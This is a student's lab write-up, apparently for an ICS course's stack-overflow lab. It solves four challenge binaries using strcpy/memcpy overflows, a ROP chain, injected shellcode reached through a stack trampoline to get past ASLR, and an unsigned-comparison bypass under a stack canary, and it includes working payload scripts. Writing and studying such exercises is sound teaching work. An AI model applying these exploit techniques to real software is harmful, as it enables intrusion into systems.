栈溢出攻击实验

题目解决思路

- ### Problem 1:

  - **前言**：
    本来想用 IDA，把 problem1 拖到 IDA，在左侧栏点击 string 里的“Yes!I like ICS!”，定位到相应位置。
    AI 说要按 x 键，找到交叉引用（“从一个对象出发，找到所有用到它的地方”），但发现“There are no xrefs to aYesILikeIcs”。
    改成从 "fprintf" 按 X，成功跳转，但是内容没有用。
    搞了半天用不明白 IDA，还是用 gdb 吧。

1）main函数内容
反汇编 `main`，发现是先 `puts("Do you like ICS?")`，再 `fopen(argv[1], "r")`，`fread(buf, 1, 0x100, fp)` 把文件读到栈上缓冲区（`rbp-0x110`），然后在读入长度处补 `\0` 变成 C 字符串，最后 `call func(buf)`。

也就是说：ans1.txt 的内容会被当成字符串传入 `func`。

2）确认漏洞点（func）
查看 `func` 的反汇编后发现内容是：

- `lea -0x8(%rbp), %rax`：取一个非常小的栈上地址当作目的缓冲区
- `mov %rdx, %rsi` / `mov %rax, %rdi`：按 SysV ABI 传参，形态就是 `strcpy(dest, src)`
- `call 0x4010b0`

用 gdb 直接确认 `0x4010b0` 是 `strcpy@plt`：

结论：`func` 把输入字符串用 `strcpy` 拷贝进栈上的小缓冲区，**没有长度检查**，典型栈溢出。

3）验证“确实能覆盖返回地址”
把输入填成很多个 `A` 后，在 gdb 里 `backtrace` 出现大量：

- `0x4141414141414141`

`0x41` 是字符 `'A'` 的 ASCII，说明返回地址已被覆盖，控制流具备被劫持的条件。

4）定位 "Yes!I like ICS!"
目标字符串地址为 `0x402004`：

```
(gdb) x/s 0x402004
0x402004: "Yes!I like ICS!"
```

在终端用 objdump 搜索 `402004` 的引用：

```
$ objdump -d -M intel ./problem1 | grep -n "402004"
168:  40121e: bf 04 20 40 00    mov    edi,0x402004
```

继续看 `0x401200~0x401240` 的反汇编，发现 `func1` 直接 puts 打印 `Yes!I like ICS!`，然后 exit。
所以只要让 `func` 的返回地址跳到 `func1(0x401216)` 就解决本题了。

5）确定偏移

从 `func` 的汇编可以看到目的缓冲区起点是 `rbp-0x8`，而返回地址在 `rbp+0x8`，二者距离 16。

因此 payload 结构是：`padding(16 bytes)` + `retaddr -> 0x401216`

另外，本题的拷贝函数是 `strcpy`，遇到 `0x00` 会停止，所以不能直接随便把 8 字节地址完整塞进去；这里采用**低字节覆盖 + 终止符**的方式，确保拷贝在写完需要的字节后再停。

解决方案：

payload 生成脚本如下：

```
payload  = b"A" * 16           # 覆盖到返回地址起点（offset=16）
payload += b"\x1e\x12\x40"     # 目标地址低 3 字节（0x40121e）
payload += b"\x00"             # 让 strcpy 停止，并把第 4 字节写成 0

with open("ans1.txt", "wb") as f:
    f.write(payload)
```

- **结果**：成功输出`Yes!I like ICS!`，详见截图

Problem 2:

- **分析**：
  `problem2` 开头会输出 `Do you like ICS?`，提示进入第二关；我在 ans2.txt 随便给个输入（AAAA）会直接段错误。用 `readelf` 可以看到 NX（栈不可执行）已开启，因此不能靠“把 shellcode 写到栈上再跳过去”这种方法。题目也提示“注意传参方法与题目本身的代码片段”，所以方向更像是 ROP：
  1）先用栈溢出控制返回地址；
  2）再用程序里现成的 gadget 设置好参数寄存器；
  3）跳转到目标函数（这里是 `func2`）让它输出通关字符串。

从 `main` 的反汇编能看到：main 函数会读取文件内容到栈上缓冲区后，调用 `func` 处理输入；而 `func` 内部调用了 `memcpy`，把固定长度（0x38 字节）的内容拷贝到一个很小的局部缓冲区，可能发生溢出，覆盖到保存的返回地址。
另外在 `func2` 的反汇编里可以看到它会比较传入参数（`edi` / `rdi` 对应的值），只有等于常数 $0x3f8$ 才会走到打印 `Yes!I like ICS!` 的路径。也就是说，我控制 `rdi` = 0x3f8，然后跳到 `func2` 即可。

- **解决方案**：
  最终使用 ROP 链完成“传参 + 跳转”：

```
padding              # 覆盖到返回地址前的所有字节（offset = 16）
                     # 内容随便：'A'*16 / 'E'*16 / '\x90'*16 都可以

ret                  # 要找的 ret_gadget，是 .text 段内的一条 ret，不带立即数、leave、
pop等
                     # 即它做的事情只有一件：让 ROP 链“往下走一步”（rsp+8），其它都不碰。
                     # 发现 401190 4011fe 401200 40128f 等等都行，这里选0x401190

pop rdi; ret         # 选一个 gadget：pop %rdi; ret。 这里选择 0x4012c7
                     # 作用：把“栈上的下一个 8 字节”弹到 rdi 里，实现给函数传第 1 个参数
                     # 然后 ret 会跳到紧跟着放的下一个地址
```

```
arg                 # 传给 func2 的参数值，根据反汇编看到的比较要求，只能是 0x3f8

func2               # 目标函数地址（ func2 的入口 0x401216）
```

payload 生成脚本如下：

```python
def p64(x: int) -> bytes:
    return x.to_bytes(8, "little")

payload = b"A"*16 + p64(0x401190) + p64(0x4012c7) + p64(0x3f8) + p64(0x401216)
open("ans2.txt", "wb").write(payload)
```

- **结果**：
  执行 `./problem2 ans2.txt` 后成功打印 `Yes!I like ICS!`。

  截图在 report 文件夹下

Problem 3:

- **分析**：`problem3` 的关键点在 `func` 里对栈上局部缓冲区的拷贝。反汇编可以看到它用 `memcpy` 固定拷贝 `0x40` 字节，但目标缓冲区只分配了 `0x20` 字节（缓冲区起始落在 `rbp-0x20` 一带）。因此只要进入 `memcpy`，越界写是必然发生的，后半段数据会覆盖到缓冲区之后的栈内容，包含保存的 `rbp` 和返回地址。

返回地址相对缓冲区起始的偏移可以直接由栈布局算出来：缓冲区占 `0x20`，紧接着是 8 字节的 saved RBP，因此返回地址位于缓冲区起点之后 `0x20 + 0x8 = 0x28` 字节处。只要能控制前 `0x28` 字节内容，就可以把返回地址改写成任意目标地址。

如果只靠“把返回地址改成栈上的某个绝对地址”，在开启 ASLR 的情况下不稳定（每次运行栈地址都会变，缓冲区的真实地址也会变）。这题的程序自己提供了一个回到栈上的稳定跳转路径：有一个全局变量 `saved_rsp`，`func` 会把当前 `rsp` 保存进去；`jmp_xs` 会读取 `saved_rsp`，再加一个固定偏移 `0x10` 后跳转。

结合 `func` 的栈帧（开头 `sub rsp,0x30`），可以把这条路径的跳转目标推回到当前栈帧里一个固定位置：`saved_rsp` 对应 `rbp-0x30`，而 `saved_rsp + 0x10` 刚好落在 `rbp-0x20`，也就是缓冲区起始。这样就绕开了“猜栈地址”的问题：只要把返回地址改成 `jmp_xs`，它就会自动把控制流送回缓冲区开头执行。

本题要求是输出幸运数字 `114`。`func1` 负责打印幸运数字，满足 `edi == 0x72`（十进制 114）就会走到成功路径。因此最终做法是：在缓冲区开头放一段很短的执行片段，先把参数寄存器设置为 `0x72`，再把控制流转给 `func1`；同时把 `func` 的返回地址覆盖为 `jmp_xs`，让程序稳定跳回缓冲区执行这段片段。

- **解决方案**：

  整体 payload 分为三部分：

1. **缓冲区内容（0x20 字节）**：开头放短执行片段，其余用填充字节补齐到 0x20。该片段完成两件事：
   - 设置 `edi = 0x72`（即 114）；
   - 将执行流转移到 `func1` 的入口。
2. **覆盖 saved RBP（8 字节）**：这一段内容只用于占位，保证写到返回地址位置时对齐正确。
3. **覆盖返回地址（8 字节）**：把返回地址写成 `jmp_xs` 的入口地址（该地址可由反汇编直接得到）。`func` 返回时会先进入 `jmp_xs`，而 `jmp_xs` 会通过 `saved_rsp + 0x10` 精确跳回 `rbp-0x20`，也就是缓冲区起始，从而开始执行第 1 部分的片段。

这样，ASLR 不再影响稳定性：实际栈地址虽然变了，但 `saved_rsp` 始终来自当前栈帧，`jmp_xs` 的偏移也是固定的，跳转落点始终指向同一个相对位置（缓冲区起始）。

payload 的生成脚本:

```
sc = b"\xbf\x72\x00\x00\x00\x68\x16\x12\x40\x00\xc3"
payload = sc + b"\x90" * (0x20 - len(sc)) + b"B" * 8 + (0x401334).to_bytes(8, "little") + b"C" * 0x10
open("ans3.txt", "wb").write(payload)
```

- **结果输出**:

  ```
  Do you like Ics?
  Now, say your lucky number is 114!
  If you do that, I will give you great scores!
  Your lucky number is 114
  ```

  截图在 report 文件夹

Problem 4:

- **分析**:
  - 体现canary的保护机制是什么
    - `fs:0x28` 和 `__stack_chk_fail` 是典型的 栈金丝雀）机制:
      - 函数进入时：从 `fs:0x28` 取出 canary 值，存到栈帧里。
      - 函数返回前：再把栈里的 canary 和 `fs:0x28` 当前值比较。
      - 如果不一致：调用 `__stack_chk_fail` 直接异常终止。

      因此，只要我们试图用溢出覆盖返回地址，几乎必然会破坏 canary，导致还没 `ret` 就崩溃。
  - 所以本题不做栈溢出，而是做逻辑绕过，利用有符号/无符号比较差异让程序走到 `func1` 的成功分支。
  - 直接 `./problem4`，先让我输入我的名字，又问我喜不喜欢 ICS，然后让我给他 enough 原石，我输入 `enough yuanshi`，它 就一直无限输出 `your money is 0\n your money is not enough\n`
  - 如果在问原石的时候，随便输入一个数字（比如 `1`），就会得到 `your money is 1\n your money is not enough\n`。发现要正常运行，首先得保证这里输入是整数。
  - 反汇编查看 `func` 的分支逻辑：程序把一个比较基准设置为 `0xfffffffe`，并使用 `jae` **无符号比较**指令。所以要通过这一步门槛，就必须满足：`x >= 0xfffffffe`（无符号意义下）。这意味着只有两种 32 位取值能直接满足：`0xfffffffe` 和 `0xffffffff`。
  - 如果输入 `-2`，会输出 `your money is 4294967294`，等待一会后输出 `No! I will let you fail!`。
  - 因为程序后面还有循环和检查：会把 `x` 逐步减到某个终态，并且额外验证“原始输入是否为 -1”。因此虽然 `0xfffffffe`（即 -2）能通过第一次无符号比较，但无法满足最后的“原始值为 -1”的条件；最终只有 `x = 0xffffffff` 才能一路通过并进入 `func1`。
- **解决方案**：直接 `./problem4`，前面先随便说自己的名字和是否喜欢 ICS，然后问我要原石的时候输入 `4294967295` 或 `-1` 就可以通过。
- **结果**:

```
your money is 4294967295
great!I will give you great scores
```

截图见 report 文件夹

思考与总结

在期末周做的这个选做作业，听说对汇编有帮助。我本来想用 IDA 但是用不明白，还是用了 gdb。

整体还是比较有意思的，但是对汇编的阅读的帮助好像没有 bomblab 大（？），因为不用完整阅读懂全部代码。但是对函数调用栈等理解有很大帮助。

参考资料

列出在准备报告过程中参考的所有文献、网站或其他资源，确保引用格式正确。

用了 chatgpt （主要是问一些 gdb 的使用，和在没有思路的时候问它查看哪些内容，可能是突破口），还和室友潘雨萱讨论了。